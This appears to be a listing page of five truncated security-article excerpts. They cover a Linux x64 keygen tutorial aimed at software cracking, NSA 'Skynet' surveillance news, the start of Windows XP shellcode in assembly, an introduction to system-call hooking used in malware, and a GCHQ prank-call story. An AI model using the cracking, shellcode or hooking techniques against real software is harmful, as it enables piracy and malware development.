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  1. Keygenning is a process of finding a valid key for a program. It is used for cracking/piracy. Most of the cracking has been documented on x86, there haven’t been many articles on x64 cracking. In this article, we will show you how to keygen a Linux x64 bit application on a Linux computer. For purpose we will use 1: Linux machine ( 64bit mint box) 2: EDB debugger 3: IDA Disassembler 4: Compiler to write a key generator 5: Fill out the form below for the files associated with this article Let’s run file command to check the type of file. file r5 r5: ELF 64-bit LSB executable, x86-64, version 1 (
  2. WE’VE SUSPECTED IT all along—that Skynet, the massive program that brings about world destruction in the Terminator movies, was just a fictionalization of a real program in the hands of the US government. And now it’s confirmed—at least in name. As The Intercept reports today, the NSA does have a program called Skynet. But unlike the autonomous, self-aware computerized defense system in Terminator that goes rogue and launches a nuclear attack that destroys most of humanity, this one is a surveillance program that uses phone metadata to track the location and call activities of suspected terror
  3. /* #[+] Author: TUNISIAN CYBER #[+] Title: Shellcode: win32/xp sp3 Create ("file.txt") (83 bytes) #[+] Date: 15-04-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp 32bit SP3 #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Credits: steve hanna projectshellcode.com ============================= Assembly: ;create.asm [Section .text] BITS 32 global _start _start: jmp short GetCommand CommandReturn: pop ebx xor eax,eax push eax push ebx mov ebx,0x7c8623ad call ebx xor eax,eax push eax mov ebx, 0x7c81cafa call ebx G
  4. Usually I don't post things like this, but because KiFastSystemCall hooking only works on x86 systems and doesn't work on Windows 8 or above, it no longer has much use in malware. There are also multiple public implementations for this method, just not very elegant, which I hope to correct. If you haven't read my previous article about this topic, or need a refresher, you can find it here. Performing a System Call KiFastSystemCall has a very strange calling convention (if you can call it that). Each native function (Ex: NtCreateFile) corresponds to a function with the same name in the SSDT. In
  5. Telecoms security has been in and out of the headlines for almost two years now, ever since patriot/traitor/hero/villain (delete as your opinion dictates) Edward Snowden revealed the PRISM campaign and the rest in 2013. We've since learned that GCHQ has a pretty tight grip on the communications flowing around the UK and the rest of the world. So you'd think the folks at the top at GCHQ and the government would be adept at keeping their own comms secure. Not so, it seems. Sneak was amused to read that David Cameron received a prank phone call from someone who managed to bypass the switchboard s
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